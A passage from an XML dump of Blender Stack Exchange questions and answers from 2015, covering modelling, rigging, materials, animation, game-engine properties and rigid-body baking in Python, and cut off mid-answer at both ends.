2.69:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/Users/$USER/Library/Application\ Support/Blender/2.69/scripts/addons&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Activate the addon in blender&lt;/p&gt;&#xA;" OwnerUserId="16371" LastEditorUserId="24527" LastEditDate="2019-07-27T02:54:19.700" LastActivityDate="2019-07-27T02:54:19.700" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="35601" PostTypeId="1" AcceptedAnswerId="39934" CreationDate="2015-08-12T23:34:07.623" Score="0" ViewCount="857" Body="&lt;p&gt;I've use the Ubuntu 14.04. Know anyone how can I install the latest version of blender from terminal? And after that how can I make cycle render work?&lt;/p&gt;&#xA;" OwnerUserId="16372" LastEditorUserId="47" LastEditDate="2015-08-13T06:27:58.697" LastActivityDate="2015-10-12T19:37:39.267" Title="How to install the latest version of Blender" Tags="&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;&lt;linux&gt;&lt;installation&gt;" AnswerCount="2" CommentCount="14" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35602" PostTypeId="2" ParentId="35590" CreationDate="2015-08-13T00:00:09.057" Score="0" Body="&lt;p&gt;Select the end face, and the four edges. Next press Shift+E to crease the selected edges. You can also crease the edge loop at the base to make the extrusion like a cube. This method works mostly the same for extruding inwards as for extruding outwards. You may need to crease more edges, especially those on the face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help everyone! This is an awesome community!&lt;/p&gt;&#xA;" OwnerUserId="16367" LastActivityDate="2015-08-13T00:00:09.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35603" PostTypeId="2" ParentId="35589" CreationDate="2015-08-13T00:02:04.097" Score="5" Body="&lt;p&gt;The shortcut for the outliner window is &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F9&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the shortcuts to other windows see &lt;a href=&quot;https://blender.stackexchange.com/a/17937/1853&quot;&gt;this&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-08-13T00:02:04.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35605" PostTypeId="1" CreationDate="2015-08-13T00:36:54.850" Score="0" ViewCount="306" Body="&lt;p&gt;Sometimes when I animate in blender I work with audio (mainly lip syncing characters), and I like to share it with people around me, so I unplug the headphones so they can hear it, but blender doesn't output with the default laptop speakers. I have to reload blender to get the speakers to output, but when I plug the headphones back in it keeps outputting through the speakers. It seems like blender only outputs the speaker that's available, but keeps it for the entire session. Is there a way I can change this? Here's some info on my computer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OS: Windows 10 Home&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Computer: Inspiron 3521 (Dell laptop)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RAM: 4GB RAM, 3.87 GB usable&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Processor: Intel Core i3-3227U CPU @ 1.90GHz&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the speakers, one is a Turtle Beach PX22 headset, the other is a built in Realtek (High Definition Audio). I also use Blender 2.74. Hope you can help!&lt;/p&gt;&#xA;" OwnerDisplayName="user8158" LastActivityDate="2015-08-13T00:36:54.850" Title="Blender only sticks with one speaker?" Tags="&lt;audio&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35606" PostTypeId="1" CreationDate="2015-08-13T01:01:18.330" Score="1" ViewCount="114" Body="&lt;p&gt;Hey this is my first rigging experience and I tried rigify and now the old method and I get stuck in the same area basically, a little further with rigify but in the end the same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a video of my issue -&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=FkeLQzcQyQU&amp;amp;feature=youtu.be&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=FkeLQzcQyQU&amp;amp;feature=youtu.be&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updated Issue (for those that don't want to watch the video):&#xA;- Bone heat weighting failed to find one or more bone&#xA;- Now in riggify it finds the head neck and spine bones, but not the limbs&#xA;- In the old fashion method it finds no bones&#xA;- I have the limbs detached but still all acting as 1 mesh&#xA;- My friend said I need to actually have each limb have its on mesh.&#xA;- This character I'm using was imported into blender via .obj file from magicavoxel&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;here's the file -&gt;  &lt;a href=&quot;http://www.filedropper.com/toonedenfrommagicavoxel&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.filedropper.com/toonedenfrommagicavoxel&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;*After removing duplicated vertices, I still get the same issue when using riggify:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hWieF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hWieF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;only the mid bones work and not the limbs.&lt;/p&gt;&#xA;" OwnerUserId="16085" LastEditorUserId="32220" LastEditDate="2019-08-26T12:49:46.520" LastActivityDate="2019-08-26T12:49:46.520" Title="Parenting mesh with Bones &gt; Error: failed to find solution for one or more bones" Tags="&lt;rigging&gt;" AnswerCount="0" CommentCount="8" ClosedDate="2015-08-13T13:36:33.673" ContentLicense="CC BY-SA 4.0" />
  <row Id="35607" PostTypeId="2" ParentId="35597" CreationDate="2015-08-13T01:06:34.863" Score="8" Body="&lt;p&gt;When you parent an object to a curve with &lt;em&gt;Follow Path&lt;/em&gt; to control its motion,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FbA7w.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FbA7w.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the curve editor you'll be presented with a straight line for the evaluation time with no keyframes or any way to control the interpolation. To fix that press &lt;kbd&gt;N&lt;/kbd&gt; to access the properties for the curve, look for the modifiers section and erase the generator for the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EVybU.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EVybU.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can manually animate the motion of the object by animating the evaluation time on the curve using keyframes, those keyframes will default to bezier interpolation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/27CHs.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/27CHs.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-08-13T01:06:34.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35608" PostTypeId="1" CreationDate="2015-08-13T01:15:26.147" Score="0" ViewCount="125" Body="&lt;p&gt;Using cycles, how would I go about making text that is UV mapped onto a surface (in this case a book cover) have a gloss while the remaining part of the image stays matte? The text needs a kind of foil finish with the white being matte paper. Can the mesh be selected with the image, or is there a better way? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N2FEZ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's the image in question.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16374" LastEditorUserId="3401" LastEditDate="2015-08-13T02:56:33.420" LastActivityDate="2015-08-13T03:18:30.963" Title="Multiple materials on a specific shape?" Tags="&lt;cycles-render-engine&gt;&lt;mesh&gt;&lt;materials&gt;&lt;uv&gt;&lt;image&gt;" AnswerCount="2" CommentCount="0" ClosedDate="2015-08-13T13:36:14.870" ContentLicense="CC BY-SA 3.0" />
  <row Id="35609" PostTypeId="1" AcceptedAnswerId="35610" CreationDate="2015-08-13T01:32:11.157" Score="0" ViewCount="2684" Body="&lt;p&gt;I click join area and then the Area Options dialog disappears and nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4VS3f.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4VS3f.png&quot; alt=&quot;Join area is clicked but nothing happens&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16375" LastEditorDisplayName="user1853" LastEditDate="2015-08-13T02:51:24.267" LastActivityDate="2015-08-13T19:04:45.693" Title="Joining two windows doesn't work" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-08-13T13:35:08.050" ContentLicense="CC BY-SA 3.0" />
  <row Id="35610" PostTypeId="2" ParentId="35609" CreationDate="2015-08-13T02:38:59.410" Score="2" Body="&lt;p&gt;quoting from the manual:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;order to merge two window frames, they must be the same dimension in the direction you wish to merge. For example, if you want to combine two window frames that are side-by-side, they must be the same height. If the one on the left is not the same as the one on the right, you will not be able to combine them horizontally. This is so that the combined window space results in a rectangle. The same rule holds for joining two window frames that are stacked on top of one another; they must both have the same width. If the one above is split vertically, you must first merge those two, and then join the bottom one up to the upper one.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jcb6U.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jcb6U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;read:&#xA;&lt;a href=&quot;https://www.blender.org/manual/getting_started/basics/interface/window_system/arranging_frames.html?highlight=join%20window&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.blender.org/manual/getting_started/basics/interface/window_system/arranging_frames.html?highlight=join%20window&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-08-13T19:04:45.693" LastActivityDate="2015-08-13T19:04:45.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35611" PostTypeId="2" ParentId="35608" CreationDate="2015-08-13T03:14:14.200" Score="0" Body="&lt;p&gt;The general principle is to use an image processing package (like GIMP) to separate your image into two component images. One image will contain the black text, with the background being changed so that it is transparent. I would make the other image, containing the background, all with the background color with no transparency. The two images would be applied to the material using two separate nodes, one for each image, with a shader in each node tree. The text, which is to be glossy would have the settings for its shader that cause the text to render glossy; the shader for the background would have the settings for a shader that renders a matte finish. When the two images are stacked exactly on top of each other, the image will exactly mimic the reference image, with matte background and glossy text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without more information about your model, lighting, &amp;amp;c., I am not able to provide any further detail on the settings you should use. While you specify using cycles, the same principle should apply in using the Blender internal materials and textures; split the image, into two, use the text image with a glossy material, and the background with a matte one, and stack the first material on the second.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-08-13T03:14:14.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35612" PostTypeId="2" ParentId="35608" CreationDate="2015-08-13T03:18:30.963" Score="1" Body="&lt;p&gt;Use your image to control the mix between a glossy and a diffuse shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/M1HSb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M1HSb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-08-13T03:18:30.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35613" PostTypeId="1" CreationDate="2015-08-13T03:30:51.227" Score="3" ViewCount="36" Body="&lt;p&gt;It occurred to me that if one takes any Blender mesh object, goes into edit mode, selects all of the vertices, and deletes them, one is left with what I'll call a &quot;zero vertex mesh object&quot;, or ZVMO. Since it is a mesh object, and could serve in the things a mesh object would be used for, but it could also be used for some functions that one would use an empty for. Are there practical applications for use of such a ZVMO in place of an empty, or is it merely an item of mere curiosity?&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-08-13T04:48:12.247" LastActivityDate="2015-08-13T07:36:24.363" Title="Would there be any value in having available a second kind of empty?" Tags="&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35614" PostTypeId="1" CreationDate="2015-08-13T03:45:12.170" Score="1" ViewCount="74" Body="&lt;p&gt;I have a man who has a armature and has been weight painted.  Whenever I open a saved file, he is in a weird meditation pose.  In order to clear it I have to go into pose mode of the armature and click &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;, &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt;, and &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; repeatedly until he is back in his normal pose.  I then can continue working on him.  when I save it and open the new file he is again in this strange pose.  Not sure if this is related or not, but when editing him and I click &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; to undo something sometimes his pose will go really crazy and I can't clear the rotation, position or scale and have to re-open my last save.  I would like to have this fixed so I can open my project and go strait to work and would like to know how to fix this.  I don't know if this helps or not but this just started happening 2 days ago, Thanks for the help!  &lt;a href=&quot;https://i.stack.imgur.com/YFmva.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YFmva.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16254" LastEditorUserId="241" LastEditDate="2015-08-13T12:24:30.760" LastActivityDate="2015-08-13T12:24:30.760" Title="How do I make my file open in the same state it saved in?" Tags="&lt;mesh&gt;&lt;armature&gt;&lt;weight-painting&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35615" PostTypeId="1" CreationDate="2015-08-13T04:33:58.943" Score="2" ViewCount="1862" Body="&lt;p&gt;I tried installing an addon and I'm sure I did it wrong, because now I have a warning that I didn't notice before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aJKVw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aJKVw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The warning icon now shows up next to addons that don't seem to be related to the addon I was trying to install (BoolTool).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mk1RS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mk1RS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the warnings go away?&lt;/p&gt;&#xA;" OwnerUserId="15400" LastActivityDate="2015-08-20T10:39:01.323" Title="&quot;One or more addons do not have UTF-8 encoding&quot;" Tags="&lt;add-on&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="35616" PostTypeId="2" ParentId="5165" CreationDate="2015-08-13T04:56:51.467" Score="1" Body="&lt;p&gt;I may have found the answer here: &#xA;&lt;a href=&quot;http://wiki.blender.org/index.php?title=Doc:2.6/Manual/Render/Cycles/Nodes/Shaders&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php?title=Doc:2.6/Manual/Render/Cycles/Nodes/Shaders&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at the diagrams showing the direction of reflection of the incident rays (the light rays falling on the object): In glossy shading, (according to my interpretation), no matter how rough the material is, light will only be reflected away from the direction of incident light. The variation in the direction of reflection is governed by the roughness parameter. &#xA;However, in diffuse shading, light will be reflected in &lt;em&gt;all&lt;/em&gt; directions. It will even be reflected back in the same direction of the incident light. So, if you happen to be looking at the object from the same direction as the incident light, the object will look brighter in diffuse shading. Another way to say this is that parts of the object that reflect light away from the viewer (when glossy shading is used) will look brighter in diffuse shading, because-in diffuse shading- they will reflect light both towards and away from the viewer. &lt;/p&gt;&#xA;" OwnerUserId="15288" LastActivityDate="2015-08-13T04:56:51.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35617" PostTypeId="2" ParentId="35568" CreationDate="2015-08-13T05:02:32.510" Score="2" Body="&lt;p&gt;You can see a property as &quot;game object variable&quot;. This means it is part of the game object. (A variable is an separate object within a specific context e.g. a function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accessing a property the same like dictionary access. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Without check for existence:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;propertyValue = gameObject[propertyName]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This fits in most situations. If the property does not exist you get a KeyError.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With pre-check:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if propertyName in gameObject:&#xA;    propertyValue = gameObject[propertyName]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a good situation when you can't guaranty the property is set, but you do not call this code very often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With error handling:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try:&#xA;    propertyValue = gameObject[propertyName]&#xA;except KeyError:&#xA;    print(&quot;Warning: '{}' in {} does not exist.&quot;.format(propertyName, gameObject.name))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is good when you expect the property might not be set and this situation is no reason to stop and this code is called very often (faster than pre-check).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With default value:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;propertyValue = gameObject.get(propertyName, defaultValue)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is good when you do not want to stop if the property is not set. In this case the default value will be given. Attention: The property will still not be set! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you skip the default value, the default value is &lt;code&gt;None&lt;/code&gt;. Be aware the default value is always evaluated, regardless if the property exists or not. Therefore the default value should be fast to get e.g. already exist or it is a primitive type such as numbers or strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Adding/updateing:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gameObject[propertyName] = newValue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-08-13T05:02:32.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35619" PostTypeId="2" ParentId="35562" CreationDate="2015-08-13T05:06:58.517" Score="2" Body="&lt;p&gt;I figured out the answer. I had to remove the armature modifier from the mesh. I found that out here, &lt;a href=&quot;http://blenderartists.org/forum/archive/index.php/t-235499.html&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/archive/index.php/t-235499.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16254" LastActivityDate="2015-08-13T05:06:58.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35620" PostTypeId="2" ParentId="35412" CreationDate="2015-08-13T05:25:12.590" Score="1" Body="&lt;p&gt;When you parent an object to another, it inherits all transformations (translation, rotation, scaling) from the parent. Therefore the physics has no effect on that object. The physics engine treats children like static objects regardless if you set it to dynamic, rigid body or soft body. This saves a lot of processing time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another performance saver is that it is assumed that statics will not collide with other objects (as they are static and do not move). Therefore the Physics engine does not measure collisions on statics. The other object (non-static) will detect the collision. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A third speed improvement is that only 'Actor' objects are sensed. Dynamic and rigid body objects are actors by default (as long as they are not parented -&gt; which makes them static).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need an object that senses collisions but does not get effected by physics you can use the Physics type &lt;code&gt;Sensor&lt;/code&gt;. You can even parent it to another object. Just make sure it is larger than the parent. Otherwise it can't detect anything.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-08-13T05:25:12.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35621" PostTypeId="1" AcceptedAnswerId="35624" CreationDate="2015-08-13T05:29:33.873" Score="3" ViewCount="590" Body="&lt;p&gt;I have a script that generates a tower of blocks, and I want to simulate this tower's collapse, tracking the position of each block as the tower collapses. (And then do this again and again for thousands of arbitrary towers.) I can do this for a given tower in the GUI by setting the current frame to some late frame, baking to the current frame, and then calling &lt;code&gt;object.matrix_world.translation&lt;/code&gt; in the console to get a given object's location at the current frame. (If I don't bake first, then &lt;code&gt;object.matrix_world.translation&lt;/code&gt; just gives me the initial location of each object.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I try to do this with scripting, &lt;code&gt;bpy.ops.ptcache.bake(bake=False)&lt;/code&gt; gives me the error &lt;code&gt;Operator bpy.ops.ptcache.bake.poll() failed, context is incorrect&lt;/code&gt;. The solution seems to be to &quot;override the context&quot; (e.g. &lt;a href=&quot;https://blender.stackexchange.com/questions/6249/setting-the-context-for-cloth-bake&quot;&gt;Setting the context for cloth bake&lt;/a&gt;), but I couldn't figure out how to do that in my case (which should be even simpler, since I'm just doing a rigid body simulation). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to make &lt;code&gt;bpy.ops.ptcache.bake(bake=False)&lt;/code&gt; work? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I included some background on what I'm trying to do in case there's a simpler way to get each rigid body's location at a given frame of the animation. This seemed relevant [ &lt;a href=&quot;https://blender.stackexchange.com/questions/28031/getting-the-location-of-rigid-body-object-at-current-keyframe?rq=1&quot;&gt;Getting the location of rigid body object at current keyframe&lt;/a&gt; ] but, as I said earlier, if I don't bake first, then &lt;code&gt;object.matrix_world.translation&lt;/code&gt; just gives me the initial location of each object, not its simulated location at the current frame.)&lt;/p&gt;&#xA;" OwnerUserId="16378" LastEditorUserId="241" LastEditDate="2015-08-13T12:25:50.437" LastActivityDate="2015-08-13T12:25:50.437" Title="Setting/overriding context for rigid body bake" Tags="&lt;python&gt;&lt;scripting&gt;&lt;rigid-body-simulation&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35622" PostTypeId="1" AcceptedAnswerId="35627" CreationDate="2015-08-13T06:42:31.003" Score="2" ViewCount="235" Body="&lt;p&gt;When I animate my mesh I'm building, the cloth parts start to look all funny.  I was wondering if this is normal or if there is a way to fix it?&lt;a href=&quot;https://i.stack.imgur.com/bq1Ht.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bq1Ht.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16254" LastActivityDate="2015-08-13T08:53:36.517" Title="How do I fix this strange effect that happens when I start animating items that are set to cloth in physics?" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;physics&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35623" PostTypeId="2" ParentId="35593" CreationDate="2015-08-13T06:47:38.653" Score="4" Body="&lt;p&gt;There are dozens of ways you can create the 4th vertex and connect a face when you have already 3, but most of them will be slow for retopo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To work fast you want to enable the F2 addon (and while you are at it also have a look at BSurfaces):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QkTx9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this your &lt;kbd&gt;F&lt;/kbd&gt; shortcut gains new features, these ones help your case:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Make polygon by selecting corner vertex and hitting &lt;kbd&gt;F&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0FQmj.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you need to snap them to highpoly mesh. The addon has &lt;em&gt;Auto Grab&lt;/em&gt; option which is great for this case - it let's you place that 4th vertex precisely.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make polygon strips from an edge (extrude all the needed vertices with &lt;kbd&gt;E&lt;/kbd&gt;, select edge, hit &lt;kbd&gt;F&lt;/kbd&gt; couple times):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lVp2H.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The F2 addon takes into account the position of your mouse cursor, when there is no clear direction where to put new face from the surrounding geometry:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RfXEu.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-08-13T06:47:38.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35624" PostTypeId="2" ParentId="35621" CreationDate="2015-08-13T07:07:13.733" Score="6" Body="&lt;p&gt;&lt;code&gt;bpy.ops.ptcache.bake(bake=False)&lt;/code&gt; for Rigid Body doesn't work, because it needs the &lt;em&gt;point cache&lt;/em&gt; and &lt;em&gt;scene&lt;/em&gt; as a context, so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;override = {'scene': bpy.context.scene,&#xA;            'point_cache': bpy.context.scene.rigidbody_world.point_cache}&#xA;# bake to current frame&#xA;bpy.ops.ptcache.bake(override, bake=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-08-13T07:07:13.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35625" PostTypeId="2" ParentId="35613" CreationDate="2015-08-13T07:36:24.363" Score="2" Body="&lt;p&gt;The main difference I see between a true empty and a mesh object without any geometry is that the empty-mesh can emit particles, and can get the entire range of physics types (although it will be useless for many of them without its geometry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The interesting bit is that as an emitter, the mesh will emit only from its origin, and particles will fall in a straight ordered line - a potentially useful effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both a true empty and the empty-mesh can receive the same constraints, and most modifiers will do absolutely nothing on the empty-mesh. It could be useful to parent the empty-mesh to an armature (directly to a bone, otherwise it won't be affected since it has no verts and no weights), but you can get the same effect with a real empty by parenting it to an individual bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, particles and some types of physics is the only thing I can see that makes a real difference.&lt;/p&gt;&#xA;" OwnerUserId="15861" LastActivityDate="2015-08-13T07:36:24.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35627" PostTypeId="2" ParentId="35622" CreationDate="2015-08-13T08:53:36.517" Score="4" Body="&lt;p&gt;The problem is that your Solidify modifier is above the Cloth modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N64uc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N64uc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means the cloth simulation will use that double layer of geometry, which can cause some instability and self-intersections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, the inside layer is poking through the outside layer and causing shading issues due to the fact that the normals of the new outside layer are facing the wrong way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CsPUu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CsPUu.png&quot; alt=&quot;normals&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to solve this is to move the Solidify modifier below the Cloth one, so that the 